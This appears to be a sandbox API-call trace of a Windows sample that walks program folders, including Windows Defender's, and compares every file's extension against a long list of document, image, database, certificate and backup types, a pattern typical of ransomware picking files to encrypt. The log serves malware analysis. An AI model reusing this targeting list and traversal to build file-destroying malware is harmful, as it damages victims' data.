	[0180.394] lstrlenW (lpString=".mov") returned 4
	[0180.394] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1
	[0180.394] lstrlenW (lpString=".mp3") returned 4
	[0180.394] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1
	[0180.394] lstrlenW (lpString=".mp4") returned 4
	[0180.394] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1
	[0180.394] lstrlenW (lpString=".mpeg") returned 5
	[0180.394] lstrcmpiW (lpString1=".mpeg", lpString2="s.exe") returned -1
	[0180.394] lstrlenW (lpString=".mpg") returned 4
	[0180.394] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1
	[0180.394] lstrlenW (lpString=".mpv") returned 4
	[0180.394] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1
	[0180.394] lstrlenW (lpString=".mrw") returned 4
	[0180.394] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1
	[0180.394] lstrlenW (lpString=".msg") returned 4
	[0180.394] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1
	[0180.394] lstrlenW (lpString=".mxl") returned 4
	[0180.395] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1
	[0180.395] lstrlenW (lpString=".myd") returned 4
	[0180.395] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1
	[0180.395] lstrlenW (lpString=".myi") returned 4
	[0180.395] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1
	[0180.395] lstrlenW (lpString=".nef") returned 4
	[0180.395] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1
	[0180.395] lstrlenW (lpString=".nrw") returned 4
	[0180.395] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1
	[0180.395] lstrlenW (lpString=".obj") returned 4
	[0180.395] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1
	[0180.395] lstrlenW (lpString=".odb") returned 4
	[0180.395] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1
	[0180.395] lstrlenW (lpString=".odc") returned 4
	[0180.395] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1
	[0180.395] lstrlenW (lpString=".odm") returned 4
	[0180.395] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1
	[0180.395] lstrlenW (lpString=".odp") returned 4
	[0180.395] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1
	[0180.395] lstrlenW (lpString=".ods") returned 4
	[0180.395] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1
	[0180.395] lstrlenW (lpString=".oft") returned 4
	[0180.395] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1
	[0180.395] lstrlenW (lpString=".one") returned 4
	[0180.395] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1
	[0180.395] lstrlenW (lpString=".onepkg") returned 7
	[0180.395] lstrcmpiW (lpString1=".onepkg", lpString2="pos.exe") returned -1
	[0180.395] lstrlenW (lpString=".onetoc2") returned 8
	[0180.395] lstrcmpiW (lpString1=".onetoc2", lpString2="ipos.exe") returned -1
	[0180.395] lstrlenW (lpString=".opt") returned 4
	[0180.396] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1
	[0180.396] lstrlenW (lpString=".oqy") returned 4
	[0180.396] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1
	[0180.396] lstrlenW (lpString=".orf") returned 4
	[0180.396] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1
	[0180.396] lstrlenW (lpString=".p12") returned 4
	[0180.396] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1
	[0180.396] lstrlenW (lpString=".p7b") returned 4
	[0180.396] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1
	[0180.396] lstrlenW (lpString=".p7c") returned 4
	[0180.396] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1
	[0180.396] lstrlenW (lpString=".pam") returned 4
	[0180.396] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1
	[0180.396] lstrlenW (lpString=".pbm") returned 4
	[0180.396] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1
	[0180.396] lstrlenW (lpString=".pct") returned 4
	[0180.396] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1
	[0180.396] lstrlenW (lpString=".pcx") returned 4
	[0180.396] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1
	[0180.396] lstrlenW (lpString=".pdd") returned 4
	[0180.396] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1
	[0180.396] lstrlenW (lpString=".pdf") returned 4
	[0180.396] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0180.396] lstrlenW (lpString=".pdp") returned 4
	[0180.396] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1
	[0180.396] lstrlenW (lpString=".pef") returned 4
	[0180.396] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1
	[0180.396] lstrlenW (lpString=".pem") returned 4
	[0180.396] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1
	[0180.397] lstrlenW (lpString=".pff") returned 4
	[0180.397] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1
	[0180.397] lstrlenW (lpString=".pfm") returned 4
	[0180.397] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1
	[0180.397] lstrlenW (lpString=".pfx") returned 4
	[0180.397] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1
	[0180.397] lstrlenW (lpString=".pgm") returned 4
	[0180.397] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1
	[0180.397] lstrlenW (lpString=".php") returned 4
	[0180.397] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1
	[0180.397] lstrlenW (lpString=".php3") returned 5
	[0180.397] lstrcmpiW (lpString1=".php3", lpString2="s.exe") returned -1
	[0180.397] lstrlenW (lpString=".php4") returned 5
	[0180.397] lstrcmpiW (lpString1=".php4", lpString2="s.exe") returned -1
	[0180.397] lstrlenW (lpString=".php5") returned 5
	[0180.397] lstrcmpiW (lpString1=".php5", lpString2="s.exe") returned -1
	[0180.397] lstrlenW (lpString=".phtml") returned 6
	[0180.397] lstrcmpiW (lpString1=".phtml", lpString2="os.exe") returned -1
	[0180.397] lstrlenW (lpString=".pict") returned 5
	[0180.397] lstrcmpiW (lpString1=".pict", lpString2="s.exe") returned -1
	[0180.397] lstrlenW (lpString=".pl") returned 3
	[0180.397] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1
	[0180.397] lstrlenW (lpString=".pls") returned 4
	[0180.397] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1
	[0180.397] lstrlenW (lpString=".pm") returned 3
	[0180.397] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1
	[0180.397] lstrlenW (lpString=".png") returned 4
	[0180.397] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1
	[0180.397] lstrlenW (lpString=".pnm") returned 4
	[0180.397] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1
	[0180.398] lstrlenW (lpString=".pot") returned 4
	[0180.398] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1
	[0180.398] lstrlenW (lpString=".potm") returned 5
	[0180.398] lstrcmpiW (lpString1=".potm", lpString2="s.exe") returned -1
	[0180.398] lstrlenW (lpString=".potx") returned 5
	[0180.398] lstrcmpiW (lpString1=".potx", lpString2="s.exe") returned -1
	[0180.398] lstrlenW (lpString=".ppa") returned 4
	[0180.398] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1
	[0180.398] lstrlenW (lpString=".ppam") returned 5
	[0180.398] lstrcmpiW (lpString1=".ppam", lpString2="s.exe") returned -1
	[0180.398] lstrlenW (lpString=".ppm") returned 4
	[0180.398] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1
	[0180.398] lstrlenW (lpString=".pps") returned 4
	[0180.398] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1
	[0180.398] lstrlenW (lpString=".ppsm") returned 5
	[0180.398] lstrcmpiW (lpString1=".ppsm", lpString2="s.exe") returned -1
	[0180.398] lstrlenW (lpString=".ppt") returned 4
	[0180.398] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0180.398] lstrlenW (lpString=".pptm") returned 5
	[0180.398] lstrcmpiW (lpString1=".pptm", lpString2="s.exe") returned -1
	[0180.398] lstrlenW (lpString=".pptx") returned 5
	[0180.398] lstrcmpiW (lpString1=".pptx", lpString2="s.exe") returned -1
	[0180.398] lstrlenW (lpString=".prn") returned 4
	[0180.398] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1
	[0180.398] lstrlenW (lpString=".ps") returned 3
	[0180.398] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1
	[0180.398] lstrlenW (lpString=".psb") returned 4
	[0180.398] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1
	[0180.398] lstrlenW (lpString=".psd") returned 4
	[0180.399] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1
	[0180.399] lstrlenW (lpString=".pst") returned 4
	[0180.399] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1
	[0180.399] lstrlenW (lpString=".ptx") returned 4
	[0180.399] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1
	[0180.399] lstrlenW (lpString=".pub") returned 4
	[0180.399] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1
	[0180.399] lstrlenW (lpString=".pwm") returned 4
	[0180.399] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1
	[0180.399] lstrlenW (lpString=".pxr") returned 4
	[0180.399] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1
	[0180.399] lstrlenW (lpString=".py") returned 3
	[0180.399] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1
	[0180.399] lstrlenW (lpString=".qt") returned 3
	[0180.399] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1
	[0180.399] lstrlenW (lpString=".r3d") returned 4
	[0180.399] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1
	[0180.399] lstrlenW (lpString=".raf") returned 4
	[0180.399] lstrcmpiW (lpString1=".raf", lpString2=".exe") returned 1
	[0180.399] lstrlenW (lpString=".rar") returned 4
	[0180.399] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0180.399] lstrlenW (lpString=".raw") returned 4
	[0180.399] lstrcmpiW (lpString1=".raw", lpString2=".exe") returned 1
	[0180.400] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x851a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.dll", cAlternateFileName="")) returned 1
	[0180.400] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe050, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.mof", cAlternateFileName="")) returned 1
	[0180.400] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement_Uninstall.mof", cAlternateFileName="")) returned 1
	[0180.400] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x505a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="shellext.dll", cAlternateFileName="")) returned 1
	[0180.400] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SymSrv.dll", cAlternateFileName="")) returned 1
	[0180.400] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SymSrv.yes", cAlternateFileName="")) returned 1
	[0180.401] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a3503e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x70b0173c, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x26a3503e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x443, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThirdPartyNotices.txt", cAlternateFileName="")) returned 1
	[0180.401] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a3503e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x70b0173c, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x26a3503e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x443, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThirdPartyNotices.txt", cAlternateFileName="")) returned 0
	[0180.401] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0180.401] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0180.401] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3b7eb14e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7eb14e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1
	[0180.401] lstrlenW (lpString="C:\\Program Files\\Windows Defender Advanced Threat Protection") returned 60
	[0180.401] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Windows Defender Advanced Threat Protection") returned 1
	[0180.401] lstrlenW (lpString="Windows Defender Advanced Threat Protection") returned 43
	[0180.401] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Windows Defender Advanced Threat Protection") returned -1
	[0180.401] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0180.402] lstrlenW (lpString="C:\\Program Files\\Windows Defender Advanced Threat Protection") returned 60
	[0180.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3b7eb14e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7eb14e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e6e8
	[0180.402] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x3b7eb14e, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7eb14e, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0180.402] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0180.402] lstrlenW (lpString="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US") returned 66
	[0180.402] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US") returned 1
	[0180.402] lstrlenW (lpString="en-US") returned 5
	[0180.402] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-US") returned -1
	[0180.402] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0180.402] lstrlenW (lpString="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US") returned 66
	[0180.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0180.402] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0180.402] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsSense.exe.mui", cAlternateFileName="")) returned 1
	[0180.403] lstrlenW (lpString="MsSense.exe.mui") returned 15
	[0180.403] lstrlenW (lpString=".1cd") returned 4
	[0180.403] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0180.403] lstrlenW (lpString=".3ds") returned 4
	[0180.403] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0180.403] lstrlenW (lpString=".3fr") returned 4
	[0180.403] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0180.403] lstrlenW (lpString=".3g2") returned 4
	[0180.403] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0180.403] lstrlenW (lpString=".3gp") returned 4
	[0180.403] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0180.403] lstrlenW (lpString=".7z") returned 3
	[0180.403] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0180.403] lstrlenW (lpString=".accda") returned 6
	[0180.403] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0180.403] lstrlenW (lpString=".accdb") returned 6
	[0180.403] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0180.403] lstrlenW (lpString=".accdc") returned 6
	[0180.403] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0180.403] lstrlenW (lpString=".accde") returned 6
	[0180.403] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0180.403] lstrlenW (lpString=".accdt") returned 6
	[0180.403] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0180.403] lstrlenW (lpString=".accdw") returned 6
	[0180.403] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0180.404] lstrlenW (lpString=".adb") returned 4
	[0180.404] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0180.404] lstrlenW (lpString=".adp") returned 4
	[0180.404] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0180.404] lstrlenW (lpString=".ai") returned 3
	[0180.404] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0180.404] lstrlenW (lpString=".ai3") returned 4
	[0180.404] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0180.404] lstrlenW (lpString=".ai4") returned 4
	[0180.404] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0180.404] lstrlenW (lpString=".ai5") returned 4
	[0180.404] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0180.404] lstrlenW (lpString=".ai6") returned 4
	[0180.404] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0180.404] lstrlenW (lpString=".ai7") returned 4
	[0180.404] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0180.404] lstrlenW (lpString=".ai8") returned 4
	[0180.404] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0180.404] lstrlenW (lpString=".anim") returned 5
	[0180.404] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0180.404] lstrlenW (lpString=".arw") returned 4
	[0180.404] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0180.404] lstrlenW (lpString=".as") returned 3
	[0180.404] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0180.404] lstrlenW (lpString=".asa") returned 4
	[0180.404] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0180.404] lstrlenW (lpString=".asc") returned 4
	[0180.404] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0180.405] lstrlenW (lpString=".ascx") returned 5
	[0180.405] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0180.405] lstrlenW (lpString=".asm") returned 4
	[0180.405] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0180.405] lstrlenW (lpString=".asmx") returned 5
	[0180.405] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0180.405] lstrlenW (lpString=".asp") returned 4
	[0180.405] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0180.405] lstrlenW (lpString=".aspx") returned 5
	[0180.405] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0180.405] lstrlenW (lpString=".asr") returned 4
	[0180.405] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0180.405] lstrlenW (lpString=".asx") returned 4
	[0180.405] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0180.405] lstrlenW (lpString=".avi") returned 4
	[0180.405] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0180.405] lstrlenW (lpString=".avs") returned 4
	[0180.405] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0180.405] lstrlenW (lpString=".backup") returned 7
	[0180.405] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0180.405] lstrlenW (lpString=".bak") returned 4
	[0180.405] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0180.405] lstrlenW (lpString=".bay") returned 4
	[0180.405] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0180.405] lstrlenW (lpString=".bd") returned 3
	[0180.405] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0180.405] lstrlenW (lpString=".bin") returned 4
	[0180.405] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0180.405] lstrlenW (lpString=".bmp") returned 4
	[0180.405] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0180.405] lstrlenW (lpString=".bz2") returned 4
	[0180.406] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0180.406] lstrlenW (lpString=".c") returned 2
	[0180.406] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0180.406] lstrlenW (lpString=".cdr") returned 4
	[0180.406] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0180.406] lstrlenW (lpString=".cer") returned 4
	[0180.406] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0180.406] lstrlenW (lpString=".cf") returned 3
	[0180.406] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0180.406] lstrlenW (lpString=".cfc") returned 4
	[0180.406] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0180.406] lstrlenW (lpString=".cfm") returned 4
	[0180.406] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0180.406] lstrlenW (lpString=".cfml") returned 5
	[0180.406] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1
	[0180.406] lstrlenW (lpString=".cfu") returned 4
	[0180.406] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0180.406] lstrlenW (lpString=".chm") returned 4
	[0180.406] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0180.406] lstrlenW (lpString=".cin") returned 4
	[0180.406] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0180.406] lstrlenW (lpString=".class") returned 6
	[0180.406] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1
	[0180.406] lstrlenW (lpString=".clx") returned 4
	[0180.406] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0180.406] lstrlenW (lpString=".config") returned 7
	[0180.406] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1
	[0180.406] lstrlenW (lpString=".cpp") returned 4
	[0180.406] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0180.407] lstrlenW (lpString=".cr2") returned 4
	[0180.407] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0180.407] lstrlenW (lpString=".crt") returned 4
	[0180.407] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0180.407] lstrlenW (lpString=".crw") returned 4
	[0180.407] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0180.407] lstrlenW (lpString=".cs") returned 3
	[0180.407] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0180.407] lstrlenW (lpString=".css") returned 4
